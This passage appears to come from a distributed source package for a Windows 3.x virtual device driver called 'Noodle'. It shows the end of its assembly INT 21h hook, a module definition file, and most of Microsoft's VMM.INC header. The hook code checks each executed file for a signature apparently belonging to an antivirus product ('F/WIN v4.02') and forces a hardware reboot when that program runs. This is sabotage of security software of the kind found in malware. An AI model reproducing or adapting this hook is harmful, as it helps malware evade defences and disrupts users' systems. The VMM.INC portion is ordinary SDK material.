[edi],'/' je short w2 cmp byte ptr [edi],':' je short w2 cmp edi,edx jb short w2 jmp short w1 w2: inc edi mov esi,offset32 [exec] movzx ecx,[execl] repe cmpsb pop edi jz short exit mov eax,3d22h ;open file vxdint 21h jc short exit xchg eax,ebx mov eax,4200h ;goto offset 28 xor ecx,ecx mov edx,28 vxdint 21h mov eax,3f00h mov ecx,2 lea edx,chkbt ;WW vxdint 21h cmp word ptr [chkbt],5757h ;is it F/WIN v4.02? jne short cfile ;no: close file mov al,0feh ;else reboot... out 64h,al cfile: mov eax,3e00h vxdint 21h exit: VMMcall End_Nest_Exec Pop_Client_State reflect_21h: stc ret EndProc int_21hnd BeginProc Noodle_Control Control_Dispatch Init_Complete,Noodle_Device_Init clc ret EndProc Noodle_Control Vxd_Locked_Code_Ends Vxd_Real_Init_Seg BeginProc Noodle_Real_Mode_Init xor bx,bx xor si,si mov ax,Device_Load_Ok ret EndProc Noodle_Real_Mode_Init Vxd_Real_Init_Ends End Ŀ File: NOODLE.DEF LIBRARY Noodle DESCRIPTION 'N00DLE' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS NOODLE_DDB @1 Ŀ File: VMM.INC ;****************************************************************************** ; ; (C) Copyright MICROSOFT Corp., 1988-1990 ; ; Title: VMM.INC - Include file for Virtual Machine Manager ; ; Version: 1.00 ; ; Date: 05-May-1988 ; ; Author: RAL ; ;------------------------------------------------------------------------------ ; ; Change log: ; ; DATE REV DESCRIPTION ; ----------- --- ----------------------------------------------------------- ; 05-May-1988 RAL Original ; ;============================================================================== ; NON Windows/386 Virtual Device sources can include this file to get some ; useful equates by declaring the symbol "Not_VxD" If this symbol is defined, ; then everything that has to do with the specifics of the 32 bit environment ; for virtual devices is removed. Useful equates include: device ID's, pushad ; structure, BeginDoc/EndDoc/BeginMsg/EndMsg equates, page table equates, etc. False EQU 0 True EQU NOT False ; ; These null macros are recognized by a utility program that produces ; documentation files. ; BeginDoc EQU <> EndDoc EQU <> BeginMsg EQU <> EndMsg EQU <> BeginDoc ;****************************************************************************** ; ; EQUATES FOR REQUIRED DEVICES ; ;============================================================================== Undefined_Device_ID EQU 00000h VMM_Device_ID EQU 00001h ; Used for dynalink table Debug_Device_ID EQU 00002h VPICD_Device_ID EQU 00003h VDMAD_Device_ID EQU 00004h VTD_Device_ID EQU 00005h V86MMGR_Device_ID EQU 00006h PageSwap_Device_ID EQU 00007h Parity_Device_ID EQU 00008h Reboot_Device_ID EQU 00009h VDD_Device_ID EQU 0000Ah VSD_Device_ID EQU 0000Bh VMD_Device_ID EQU 0000Ch VKD_Device_ID EQU 0000Dh VCD_Device_ID EQU 0000Eh VPD_Device_ID EQU 0000Fh BlockDev_Device_ID EQU 00010h VMCPD_Device_ID EQU 00011h EBIOS_Device_ID EQU 00012h BIOSXlat_Device_ID EQU 00013h VNETBIOS_Device_ID EQU 00014h DOSMGR_Device_ID EQU 00015h WINLOAD_Device_ID EQU 00016h SHELL_Device_ID EQU 00017h VMPoll_Device_ID EQU 00018h VPROD_Device_ID EQU 00019h DOSNET_Device_ID EQU 0001Ah VFD_Device_ID EQU 0001Bh VDD2_Device_ID EQU 0001Ch ; Secondary display adapter WINDEBUG_Device_ID EQU 0001Dh TSRLoad_Device_ID EQU 0001Eh ; TSR instance utility ID BiosHook_Device_ID EQU 0001Fh ; Bios interrupt hooker VxD Int13_Device_ID EQU 00020h PageFile_Device_ID EQU 00021h ; Paging File device SCSI_Device_ID EQU 00022h ; SCSI device MCA_POS_Device_ID EQU 00023h ; MCA_POS device SCSIFD_Device_ID EQU 00024h ; SCSI FastDisk device VPEND_Device_ID EQU 00025h ; Pen device APM_Device_ID EQU 00026h ; Power Management device ; ; Initialization order equates. Devices are initialized in order from ; LOWEST to HIGHEST. If 2 or more devices have the same initialization ; order value, then they are initialized in order of occurance, so a ; specific order is not guaranteed. Holes have been left to allow maximum ; flexibility in ordering devices. ; VMM_Init_Order EQU 000000000h APM_Init_Order EQU 001000000h Debug_Init_Order EQU 004000000h BiosHook_Init_Order EQU 006000000h VPROD_Init_Order EQU 008000000h VPICD_Init_Order EQU 00C000000h VTD_Init_Order EQU 014000000h PageFile_Init_Order EQU 018000000h PageSwap_Init_Order EQU 01C000000h Parity_Init_Order EQU 020000000h Reboot_Init_Order EQU 024000000h EBIOS_Init_Order EQU 026000000h VDD_Init_Order EQU 028000000h VSD_Init_Order EQU 02C000000h VCD_Init_Order EQU 030000000h VMD_Init_Order EQU 034000000h VKD_Init_Order EQU 038000000h VPD_Init_Order EQU 03C000000h BlockDev_Init_Order EQU 040000000h MCA_POS_Init_Order EQU 041000000h SCSIFD_Init_Order EQU 041400000h SCSIMaster_Init_Order EQU 041800000h Int13_Init_Order EQU 042000000h VFD_Init_Order EQU 044000000h VMCPD_Init_Order EQU 048000000h BIOSXlat_Init_Order EQU 050000000h VNETBIOS_Init_Order EQU 054000000h DOSMGR_Init_Order EQU 058000000h DOSNET_Init_Order EQU 05C000000h WINLOAD_Init_Order EQU 060000000h VMPoll_Init_Order EQU 064000000h Undefined_Init_Order EQU 080000000h WINDEBUG_Init_Order EQU 081000000h VDMAD_Init_Order EQU 090000000h V86MMGR_Init_Order EQU 0A0000000h Undef_Touch_Mem_Init_Order EQU 0A8000000h ; Device that must touch ; memory in 1st Mb at ; crit init (after V86mmgr) SHELL_Init_Order EQU 0B0000000h EndDoc ;****************************************************************************** ; ; Macro to cause a delay in between I/O accesses to the same device. ; ;------------------------------------------------------------------------------ IO_Delay macro jmp $+2 ENDM Pushad_Struc STRUC Pushad_EDI dd ? ; Client's EDI Pushad_ESI dd ? ; Client's ESI Pushad_EBP dd ? ; Client's EBP Pushad_ESP dd ? ; ESP at pushall Pushad_EBX dd ? ; Client's EBX Pushad_EDX dd ? ; Client's EDX Pushad_ECX dd ? ; Client's ECX Pushad_EAX dd ? ; Client's EAX Pushad_Struc ENDS IFNDEF Not_VxD ??_CUR_CODE_SEG = 0 ??_CODE = 1 ??_ICODE = 2 ??_LCODE = 3 ??_RCODE = 4 ?_CODE equ <(??_CUR_CODE_SEG MOD 8) - ??_CODE> ?_ICODE equ <(??_CUR_CODE_SEG MOD 8) - ??_ICODE> ?_LCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_LCODE> ?_RCODE equ <(??_CUR_CODE_SEG MOD 8) - ??_RCODE> ; ; SEGMENT definitions and order ; ;* 32 Bit locked code _LTEXT SEGMENT DWORD USE32 PUBLIC 'CODE' _LTEXT ENDS ;* 32 Bit code _TEXT SEGMENT DWORD USE32 PUBLIC 'PCODE' _TEXT ENDS ;* 32 Bit initialization code _ITEXT SEGMENT DWORD USE32 PUBLIC 'ICODE' _ITEXT ENDS ;* Contains 32 Bit locked data _LDATA SEGMENT DWORD PUBLIC 'CODE' _LDATA ENDS ;* Contains 32 Bit data _DATA SEGMENT DWORD PUBLIC 'PCODE' _DATA ENDS ;* Contains 32 Bit initialization data _IDATA SEGMENT DWORD PUBLIC 'ICODE' _IDATA ENDS ;* Real Mode initialization code/data for devices _RCODE SEGMENT WORD USE16 PUBLIC 'RCODE' _RCODE ENDS _LGROUP GROUP _LTEXT, _LDATA _PGROUP GROUP _TEXT, _DATA _IGROUP GROUP _ITEXT, _IDATA ASSUME CS:FLAT, DS:FLAT, ES:FLAT, SS:FLAT OFFSET32 EQU BeginDoc ;============================================================================== ; The following macros are used in defining the routines ; in a VxD which are going to be registered with VMM as callable entry ; points. Once registered, the entry points can be called by any other ; devices via the "VxDCall" macro, defined below. In the comments below, ; replace "VxD" with the appropriate device name. ; ;******* ; In the VxD.INC file, put the following lines, replacing ; with an appropriate name describing the function of the routine. ; ; Begin_Service_Table VxD[,] ; VxD_Service [,] ; VxD_Service [,] ; . . . ; VxD_Service [,] ; End_Service_Table VxD[,] ; ; Note that is an optional argument and, if specified, the ; table is put in the segment defined by the macro "yyy_Data_Seg", ; where yyy=segname. Otherwise the segment is defined by the ; "VxD_Data_Seg" macro, defined below. ; Note that is an optional argument and, if specified, ; the procedure's segment is defined by the macro "zzz_Code_Seg", ; where zzz=segname. Otherwise the segment is defined by the ; "VxD_Code_Seg" macro, defined below. ; ;******* ; One VxD module should have the following in order to define the entry points: ;Create_VxD_Service_Table = 1 ; Only in module where table is ; INCLUDE VxD.INC ; Include the table definition ; ;******* ; All modules that want to call the services defined in the table should include ; VxD.INC, but not define the label "Create_VxD_Service_Table". This ; will define the service names to be used with the VxDCall macro. ; EndDoc Begin_Service_Table MACRO Device_Name, Def_Segment IFB BST2 Device_Name, VxD ELSE BST2 Device_Name, Def_Segment ENDIF ENDM BST2 MACRO Device_Name, Def_Segment Num_&Device_Name&_Services = 0 IFDEF Create_&Device_Name&_Service_Table Def_Segment&_LOCKED_DATA_SEG Device_Name&_Service_Table LABEL DWORD Device_Name&_Service MACRO Procedure, Local_Seg, Condition LOCAL $$&&Procedure IFNB $$&&Procedure MACRO extern IFDEF &Condition IFNB EXTRN @&&Procedure:NEAR ELSE dd OFFSET32 @&&Procedure ENDIF ELSE IFB dd 0 ENDIF ENDIF ENDM ENDIF IFDIFI , PUBLIC $&&Procedure IF1 $&&Procedure LABEL DWORD ENDIF IFDIFI , IFNB Local_Seg&&_SEG ELSE Def_Segment&_CODE_SEG ENDIF IFNB $$&&Procedure extern ELSE EXTRN @&&Procedure:NEAR ENDIF IFNB Local_Seg&&_ENDS ELSE Def_Segment&_CODE_ENDS ENDIF ENDIF IFNB $$&&Procedure ELSE dd OFFSET32 @&&Procedure ENDIF Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services ELSE dd 0 ENDIF Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1 IFNB Purge $$&&Procedure ENDIF ENDM ELSE Device_Name&_Service MACRO Procedure IFDIFI , Procedure = (Device_Name&_Device_ID SHL 16) + Num_&Device_Name&_Services ENDIF Num_&Device_Name&_Services = Num_&Device_Name&_Services + 1 ENDM ENDIF ENDM ;------------------------------------------------------------------------------ End_Service_Table MACRO Device_Name, Def_Segment PURGE Device_Name&_Service IFDEF Create_&Device_Name&_Service_Table IFB VxD_LOCKED_DATA_ENDS ELSE Def_Segment&_LOCKED_DATA_ENDS ENDIF ENDIF ENDM ;****************************************************************************** ; ; Dword_Align -- Aligns code to dword boundry by inserting nops ; ;------------------------------------------------------------------------------ Dword_Align MACRO Seg_Name LOCAL segn IFNB segn equ Seg_Name ELSE IFE ?_CODE segn equ <_TEXT> ELSE IFE ?_ICODE segn equ <_ITEXT> ELSE IFE ?_LCODE segn equ <_LTEXT> ELSE .err Dword_Align not supported ENDIF ENDIF ENDIF ENDIF IF (($-OFFSET segn:0) MOD 4) db 4 - (($-OFFSET segn:0) MOD 4) DUP (90h) ENDIF ENDM BeginDoc ;****************************************************************************** ; ; Fatal_Error ; ; DESCRIPTION: ; This macro is used to crash Windows/386 when an unrecoverable error ; is detected. If Msg_Ptr is ommitted then no error message will be ; displayed, otherwise Msg_Ptr is the address ; when the ; ; PARAMETERS: ; Msg_Ptr (OPTIONAL) - Points to an ASCIIZ string to display. ; ; EXIT: ; To DOS (hopefully). This macro never returns. ; ;============================================================================== EndDoc Fatal_Error MACRO Msg_Ptr, Exit_Flags pushad IFB xor esi, esi ELSE mov esi, Msg_Ptr IFB xor eax, eax ELSE mov eax, Exit_Flags ENDIF ENDIF VMMcall Fatal_Error_Handler ENDM EF_Hang_On_Exit EQU 1h ;****************************************************************************** ;============================================================================== ;------------------------------------------------------------------------------ BeginDoc ;****************************************************************************** ; The following are control block offsets of items that can be of interest ; to VxDs. ;******* ; VM status indicates globally interesting VM states CB_VM_Status EQU DWORD PTR 00h VMStat_Exclusive EQU 000000000000000000001b ; VM is exclusive mode VMStat_Exclusive_Bit EQU 0 VMStat_Background EQU 000000000000000000010b ; VM runs in background VMStat_Background_Bit EQU 1 VMStat_Creating EQU 000000000000000000100b ; In process of creating VMStat_Creating_Bit EQU 2 VMStat_Suspended EQU 000000000000000001000b ; VM not scheduled VMStat_Suspended_Bit EQU 3 VMStat_Not_Executeable EQU 000000000000000010000b ; VM partially destroyed VMStat_Not_Executeable_Bit EQU 4 VMStat_PM_Exec EQU 000000000000000100000b ; Currently in PM app VMStat_PM_Exec_Bit EQU 5 VMStat_PM_App EQU 000000000000001000000b ; PM app present in VM VMStat_PM_App_Bit EQU 6 VMStat_PM_Use32 EQU 000000000000010000000b ; PM app is 32-bit VMStat_PM_Use32_Bit EQU 7 VMStat_VxD_Exec EQU 000000000000100000000b ; Call from VxD VMStat_VxD_Exec_Bit EQU 8 VMStat_High_Pri_Back EQU 000000000001000000000b ; High pri background VMStat_High_Pri_Back_Bit EQU 9 VMStat_Blocked EQU 000000000010000000000b ; Blocked on semaphore VMStat_Blocked_Bit EQU 0Ah VMStat_Awakening EQU 000000000100000000000b ; Woke up after blocked VMStat_Awakening_Bit EQU 0Bh VMStat_PageableV86 EQU 000000001000000000000b ; part of V86 is pageable (PM app) VMStat_PageableV86Bit EQU 0Ch VMStat_V86IntsLocked EQU 000000010000000000000b ; Rest of V86 is locked VMStat_V86IntsLockedBit EQU 0Dh ; regardless of pager type VMStat_TS_Sched EQU 000000100000000000000b ; Scheduled by time-slicer VMStat_TS_Sched_Bit EQU 0Eh VMStat_Idle EQU 000001000000000000000b ; VM has released time VMStat_Idle_Bit EQU 0Fh ; slice VMStat_Closing EQU 000010000000000000000b ; Close_VM called for VM VMStat_Closing_Bit EQU 10h VMStat_Use32_Mask EQU VMStat_PM_Use32 OR VMStat_VxD_Exec ;******* ; Add this value to a V86 linear address to get address of VM's memory in ; the VMM linear address space CB_High_Linear EQU DWORD PTR 04h ;******* CB_Client_Pointer EQU DWORD PTR 08h CB_VMID EQU DWORD PTR 0Ch ; ; Equates for protected mode application control blocks ; PMCB_Flags EQU DWORD PTR 00h PMCB_Parent EQU DWORD PTR 04h EndDoc ;****************************************************************************** ; V M M S E R V I C E S ;****************************************************************************** Begin_Service_Table VMM, VMM VMM_Service Get_VMM_Version, LOCAL ; MUST REMAIN SERVICE 0! VMM_Service Get_Cur_VM_Handle VMM_Service Test_Cur_VM_Handle VMM_Service Get_Sys_VM_Handle VMM_Service Test_Sys_VM_Handle VMM_Service Validate_VM_Handle VMM_Service Get_VMM_Reenter_Count VMM_Service Begin_Reentrant_Execution VMM_Service End_Reentrant_Execution VMM_Service Install_V86_Break_Point VMM_Service Remove_V86_Break_Point VMM_Service Allocate_V86_Call_Back VMM_Service Allocate_PM_Call_Back VMM_Service Call_When_VM_Returns VMM_Service Schedule_Global_Event VMM_Service Schedule_VM_Event VMM_Service Call_Global_Event VMM_Service Call_VM_Event VMM_Service Cancel_Global_Event VMM_Service Cancel_VM_Event VMM_Service Call_Priority_VM_Event VMM_Service Cancel_Priority_VM_Event VMM_Service Get_NMI_Handler_Addr VMM_Service Set_NMI_Handler_Addr VMM_Service Hook_NMI_Event VMM_Service Call_When_VM_Ints_Enabled VMM_Service Enable_VM_Ints VMM_Service Disable_VM_Ints VMM_Service Map_Flat VMM_Service Map_Lin_To_VM_Addr ; ; Scheduler services ; VMM_Service Adjust_Exec_Priority VMM_Service Begin_Critical_Section VMM_Service End_Critical_Section VMM_Service End_Crit_And_Suspend VMM_Service Claim_Critical_Section VMM_Service Release_Critical_Section VMM_Service Call_When_Not_Critical VMM_Service Create_Semaphore VMM_Service Destroy_Semaphore VMM_Service Wait_Semaphore VMM_Service Signal_Semaphore VMM_Service Get_Crit_Section_Status VMM_Service Call_When_Task_Switched VMM_Service Suspend_VM VMM_Service Resume_VM VMM_Service No_Fail_Resume_VM VMM_Service Nuke_VM VMM_Service Crash_Cur_VM VMM_Service Get_Execution_Focus VMM_Service Set_Execution_Focus VMM_Service Get_Time_Slice_Priority VMM_Service Set_Time_Slice_Priority VMM_Service Get_Time_Slice_Granularity VMM_Service Set_Time_Slice_Granularity VMM_Service Get_Time_Slice_Info VMM_Service Adjust_Execution_Time VMM_Service Release_Time_Slice VMM_Service Wake_Up_VM VMM_Service Call_When_Idle VMM_Service Get_Next_VM_Handle ; ; Time-out and system timer services ; VMM_Service Set_Global_Time_Out VMM_Service Set_VM_Time_Out VMM_Service Cancel_Time_Out VMM_Service Get_System_Time VMM_Service Get_VM_Exec_Time VMM_Service Hook_V86_Int_Chain VMM_Service Get_V86_Int_Vector VMM_Service Set_V86_Int_Vector VMM_Service Get_PM_Int_Vector VMM_Service Set_PM_Int_Vector VMM_Service Simulate_Int VMM_Service Simulate_Iret VMM_Service Simulate_Far_Call VMM_Service Simulate_Far_Jmp VMM_Service Simulate_Far_Ret VMM_Service Simulate_Far_Ret_N VMM_Service Build_Int_Stack_Frame VMM_Service Simulate_Push VMM_Service Simulate_Pop ; ; Heap Manager ; VMM_Service _HeapAllocate VMM_Service _HeapReAllocate VMM_Service _HeapFree VMM_Service _HeapGetSize ; --------------------------------------------------- ; ; Flags for heap allocator calls ; ; --------------------------------------------------- HeapZeroInit equ 00000000000000000000000000000001B HeapZeroReInit equ 00000000000000000000000000000010B HeapNoCopy equ 00000000000000000000000000000100B ; NOTE: HIGH 8 BITS (bits 24-31) are reserved ; ; Page Manager ; VMM_Service _PageAllocate VMM_Service _PageReAllocate VMM_Service _PageFree VMM_Service _PageLock VMM_Service _PageUnLock VMM_Service _PageGetSizeAddr VMM_Service _PageGetAllocInfo VMM_Service _GetFreePageCount VMM_Service _GetSysPageCount VMM_Service _GetVMPgCount VMM_Service _MapIntoV86 VMM_Service _PhysIntoV86 VMM_Service _TestGlobalV86Mem VMM_Service _ModifyPageBits VMM_Service _CopyPageTable VMM_Service _LinMapIntoV86 VMM_Service _LinPageLock VMM_Service _LinPageUnLock VMM_Service _SetResetV86Pageable VMM_Service _GetV86PageableArray VMM_Service _PageCheckLinRange VMM_Service _PageOutDirtyPages VMM_Service _PageDiscardPages ; --------------------------------------------------- ; ; Flags for other page allocator calls ; ; --------------------------------------------------- PageZeroInit equ 00000000000000000000000000000001B PageUseAlign equ 00000000000000000000000000000010B PageContig equ 00000000000000000000000000000100B PageFixed equ 00000000000000000000000000001000B PageDEBUGNulFault equ 00000000000000000000000000010000B PageZeroReInit equ 00000000000000000000000000100000B PageNoCopy equ 00000000000000000000000001000000B PageLocked equ 00000000000000000000000010000000B PageLockedIfDP equ 00000000000000000000000100000000B PageSetV86Pageable equ 00000000000000000000001000000000B PageClearV86Pageable equ 00000000000000000000010000000000B PageSetV86IntsLocked equ 00000000000000000000100000000000B PageClearV86IntsLocked equ 00000000000000000001000000000000B PageMarkPageOut equ 00000000000000000010000000000000B PagePDPSetBase equ 00000000000000000100000000000000B PagePDPClearBase equ 00000000000000001000000000000000B PageDiscard equ 00000000000000010000000000000000B PagePDPQueryDirty equ 00000000000000100000000000000000B ; ; New for 3.10 ; PageMapFreePhysReg equ 00000000000001000000000000000000B ; NOTE: HIGH 8 BITS (bits 24-31) are reserved ; ; Informational services ; VMM_Service _GetNulPageHandle VMM_Service _GetFirstV86Page VMM_Service _MapPhysToLinear VMM_Service _GetAppFlatDSAlias VMM_Service _SelectorMapFlat VMM_Service _GetDemandPageInfo ; ; Data structure for _GetDemandPageInfo ; DemandInfoStruc struc DILin_Total_Count dd ? ; # pages in linear address space DIPhys_Count dd ? ; Count of phys pages DIFree_Count dd ? ; Count of free phys pages DIUnlock_Count dd ? ; Count of unlocked Phys Pages DILinear_Base_Addr dd ? ; Base of pageable address space DILin_Total_Free dd ? ; Total Count of free linear pages DIReserved dd 10 dup (?) ; Resvd for expansion DemandInfoStruc ends VMM_Service _GetSetPageOutCount ; ; Flags bits for _GetSetPageOutCount ; GSPOC_F_Get equ 00000000000000000000000000000001B ; ; Device VM page manager ; VMM_Service Hook_V86_Page VMM_Service _Assign_Device_V86_Pages VMM_Service _DeAssign_Device_V86_Pages VMM_Service _Get_Device_V86_Pages_Array VMM_Service MMGR_SetNULPageAddr ; ; GDT/LDT management ; VMM_Service _Allocate_GDT_Selector VMM_Service _Free_GDT_Selector VMM_Service _Allocate_LDT_Selector VMM_Service _Free_LDT_Selector VMM_Service _BuildDescriptorDWORDs ; ; Flag equates for _BuildDescriptorDWORDs ; BDDExplicitDPL EQU 00000000000000000000000000000001B ; ; Flag equates for _Allocate_LDT_Selector ; ALDTSpecSel EQU 00000000000000000000000000000001B VMM_Service _GetDescriptor VMM_Service _SetDescriptor VMM_Service _MMGR_Toggle_HMA ; ; Flag equates for _MMGR_Toggle_HMA ; MMGRHMAPhysical EQU 00000000000000000000000000000001B MMGRHMAEnable EQU 00000000000000000000000000000010B MMGRHMADisable EQU 00000000000000000000000000000100B MMGRHMAQuery EQU 00000000000000000000000000001000B VMM_Service Get_Fault_Hook_Addrs VMM_Service Hook_V86_Fault VMM_Service Hook_PM_Fault VMM_Service Hook_VMM_Fault VMM_Service Begin_Nest_V86_Exec VMM_Service Begin_Nest_Exec VMM_Service Exec_Int VMM_Service Resume_Exec VMM_Service End_Nest_Exec VMM_Service Allocate_PM_App_CB_Area, VMM_ICODE VMM_Service Get_Cur_PM_App_CB VMM_Service Set_V86_Exec_Mode VMM_Service Set_PM_Exec_Mode VMM_Service Begin_Use_Locked_PM_Stack VMM_Service End_Use_Locked_PM_Stack VMM_Service Save_Client_State VMM_Service Restore_Client_State VMM_Service Exec_VxD_Int VMM_Service Hook_Device_Service VMM_Service Hook_Device_V86_API VMM_Service Hook_Device_PM_API VMM_Service System_Control ; ; I/O and software interrupt hooks ; VMM_Service Simulate_IO VMM_Service Install_Mult_IO_Handlers VMM_Service Install_IO_Handler VMM_Service Enable_Global_Trapping VMM_Service Enable_Local_Trapping VMM_Service Disable_Global_Trapping VMM_Service Disable_Local_Trapping ; ; Linked List Abstract Data Type Services ; VMM_Service List_Create VMM_Service List_Destroy VMM_Service List_Allocate VMM_Service List_Attach VMM_Service List_Attach_Tail VMM_Service List_Insert VMM_Service List_Remove VMM_Service List_Deallocate VMM_Service List_Get_First VMM_Service List_Get_Next VMM_Service List_Remove_First ; ; Flags used by List_Create ; LF_Async EQU 00000001b LF_Async_Bit EQU 0 LF_Use_Heap EQU 00000010b LF_Use_Heap_Bit EQU 1 LF_Alloc_Error EQU 00000100b LF_Alloc_Error_Bit EQU 2 ;============================================================================== ; I N I T I A L I Z A T I O N P R O C E D U R E S ;------------------------------------------------------------------------------ ; ; Instance data manager ; VMM_Service _AddInstanceItem ; ; Data structure for _AddInstanceItem ; InstDataStruc struc InstLinkF dd 0 ; RESERVED SET TO 0 InstLinkB dd 0 ; RESERVED SET TO 0 InstLinAddr dd ? ; Linear address of start of block InstSize dd ? ; Size of block in bytes InstType dd ? ; Type of block InstDataStruc ends ; ; Values for InstType ; INDOS_Field equ 100h ; Bit indicating INDOS switch requirements ALWAYS_Field equ 200h ; Bit indicating ALWAYS switch requirements ; ; System structure data manager ; VMM_Service _Allocate_Device_CB_Area, VMM_ICODE VMM_Service _Allocate_Global_V86_Data_Area, VMM_ICODE VMM_Service _Allocate_Temp_V86_Data_Area, VMM_ICODE VMM_Service _Free_Temp_V86_Data_Area, VMM_ICODE ; ; Flag bits for _Allocate_Global_V86_Data_Area ; GVDAWordAlign EQU 00000000000000000000000000000001B GVDADWordAlign EQU 00000000000000000000000000000010B GVDAParaAlign EQU 00000000000000000000000000000100B GVDAPageAlign EQU 00000000000000000000000000001000B GVDAInstance EQU 00000000000000000000000100000000B GVDAZeroInit EQU 00000000000000000000001000000000B GVDAReclaim EQU 00000000000000000000010000000000B ; ; New for 3.10 ; GVDAInquire EQU 00000000000000000000100000000000B GVDAHighSysCritOK EQU 00000000000000000001000000000000B ; ; Initialization information calls (win.ini and environment parameters) ; VMM_Service Get_Profile_Decimal_Int, VMM_ICODE VMM_Service Convert_Decimal_String, VMM_ICODE VMM_Service Get_Profile_Fixed_Point, VMM_ICODE VMM_Service Convert_Fixed_Point_String, VMM_ICODE VMM_Service Get_Profile_Hex_Int, VMM_ICODE VMM_Service Convert_Hex_String, VMM_ICODE VMM_Service Get_Profile_Boolean, VMM_ICODE VMM_Service Convert_Boolean_String, VMM_ICODE VMM_Service Get_Profile_String, VMM_ICODE VMM_Service Get_Next_Profile_String, VMM_ICODE VMM_Service Get_Environment_String, VMM_ICODE VMM_Service Get_Exec_Path, VMM_ICODE VMM_Service Get_Config_Directory, VMM_ICODE VMM_Service OpenFile, VMM_ICODE VMM_Service Get_PSP_Segment, VMM_ICODE VMM_Service GetDOSVectors, VMM_ICODE VMM_Service Get_Machine_Info GMIF_80486 EQU 00010000h GMIF_80486_Bit EQU 10h GMIF_PCXT EQU 00020000h GMIF_PCXT_Bit EQU 11h GMIF_MCA EQU 00040000h GMIF_MCA_Bit EQU 12h GMIF_EISA EQU 00080000h GMIF_EISA_Bit EQU 13h ; ; Following service is not restricted to initialization ; VMM_Service GetSet_HMA_Info VMM_Service Set_System_Exit_Code VMM_Service Fatal_Error_Handler VMM_Service Fatal_Memory_Error ; ; Called by VTD only ; VMM_Service Update_System_Clock ;============================================================================== ; D E B U G G I N G E X T E R N S ;============================================================================== VMM_Service Test_Debug_Installed ; Valid call in retail also VMM_Service Out_Debug_String ; Valid in DEBLEVEL=1 VMM_Service Out_Debug_Chr VMM_Service In_Debug_Chr VMM_Service Debug_Convert_Hex_Binary VMM_Service Debug_Convert_Hex_Decimal VMM_Service Debug_Test_Valid_Handle VMM_Service Validate_Client_Ptr VMM_Service Test_Reenter VMM_Service Queue_Debug_String VMM_Service Log_Proc_Call VMM_Service Debug_Test_Cur_VM VMM_Service Get_PM_Int_Type VMM_Service Set_PM_Int_Type VMM_Service Get_Last_Updated_System_Time VMM_Service Get_Last_Updated_VM_Exec_Time ; for DBCS Enabling VMM_Service Test_DBCS_Lead_Byte .errnz Test_DBCS_Lead_Byte - 100D1h ; VMM service table changed above this service ;************************************************************************* ;************************************************************************* ;************************************************************************* ; ; END OF 3.00 SERVICE TABLE MUST NOT SHUFFLE SERVICES BEFORE THIS POINT ; FOR COMPATIBILITY. ; VMM_Service _AddFreePhysPage, VMM_ICODE VMM_Service _PageResetHandlePAddr VMM_Service _SetLastV86Page, VMM_ICODE VMM_Service _GetLastV86Page VMM_Service _MapFreePhysReg VMM_Service _UnmapFreePhysReg VMM_Service _XchgFreePhysReg VMM_Service _SetFreePhysRegCalBk, VMM_ICODE VMM_Service Get_Next_Arena, VMM_ICODE VMM_Service Get_Name_Of_Ugly_TSR, VMM_ICODE VMM_Service Get_Debug_Options, VMM_ICODE ; ; Bits for the ECX return of Get_Next_Arena ; GNA_HiDOSLinked equ 0000000000000010B ; High DOS arenas were linked in ; when WIN386 was started GNA_IsHighDOS equ 0000000000000100B ; High DOS arenas do exist VMM_Service Set_Physical_HMA_Alias, VMM_ICODE VMM_Service _GetGlblRng0V86IntBase, VMM_ICODE VMM_Service _Add_Global_V86_Data_Area, VMM_ICODE VMM_Service GetSetDetailedVMError ; ; Error code values for the GetSetDetailedVMError service. PLEASE NOTE ; that all of these error code values need to have bits set in the high ; word. This is to prevent collisions with other VMDOSAPP standard errors. ; Also, the low word must be non-zero. ; ; First set of errors (high word = 0001) are intended to be used ; when a VM is CRASHED (VNE_Crashed or VNE_Nuked bit set on ; VM_Not_Executeable). ; ; PLEASE NOTE that each of these errors (high word == 0001) actually ; has two forms: ; ; 0001xxxxh ; 8001xxxxh ; ; The device which sets the error initially always sets the error with ; the high bit CLEAR. The system will then optionally set the high bit ; depending on the result of the attempt to "nicely" crash the VM. This ; bit allows the system to tell the user whether the crash is likely or ; unlikely to destabalize the system. ; GSDVME_PrivInst equ 00010001h ; Privledged instruction GSDVME_InvalInst equ 00010002h ; Invalid instruction GSDVME_InvalPgFlt equ 00010003h ; Invalid page fault GSDVME_InvalGpFlt equ 00010004h ; Invalid GP fault GSDVME_InvalFlt equ 00010005h ; Invalid fault, not any of abv GSDVME_UserNuke equ 00010006h ; User requested NUKE of running ; VM GSDVME_DevNuke equ 00010007h ; Device specific problem GSDVME_DevNukeHdwr equ 00010008h ; Device specific problem, ; invalid hardware fiddling ; by VM (invalid I/O) GSDVME_NukeNoMsg equ 00010009h ; Supress standard messgs, ; SHELL_Message used for ; custom msg. GSDVME_OkNukeMask equ 80000000h ; "Nice nuke" bit ; ; Second set of errors (high word = 0002) are intended to be used ; when a VM start up is failed (VNE_CreateFail, VNE_CrInitFail, or ; VNE_InitFail bit set on VM_Not_Executeable). ; GSDVME_InsMemV86 equ 00020001h ; base V86 mem - V86MMGR GSDVME_InsV86Space equ 00020002h ; Kb Req too large - V86MMGR GSDVME_InsMemXMS equ 00020003h ; XMS Kb Req - V86MMGR GSDVME_InsMemEMS equ 00020004h ; EMS Kb Req - V86MMGR GSDVME_InsMemV86Hi equ 00020005h ; Hi DOS V86 mem - DOSMGR ; V86MMGR GSDVME_InsMemVid equ 00020006h ; Base Video mem - VDD GSDVME_InsMemVM equ 00020007h ; Base VM mem - VMM ; CB, Inst Buffer GSDVME_InsMemDev equ 00020008h ; Couldn't alloc base VM ; memory for device. GSDVME_CrtNoMsg equ 00020009h ; Supress standard messgs, ; SHELL_Message used for ; custom msg. VMM_Service Is_Debug_Chr ; ; Mono_Out services ; VMM_Service Clear_Mono_Screen VMM_Service Out_Mono_Chr VMM_Service Out_Mono_String VMM_Service Set_Mono_Cur_Pos VMM_Service Get_Mono_Cur_Pos VMM_Service Get_Mono_Chr ; ; Service locates a byte in ROM ; VMM_Service Locate_Byte_In_ROM, VMM_ICODE VMM_Service Hook_Invalid_Page_Fault VMM_Service Unhook_Invalid_Page_Fault ; ; 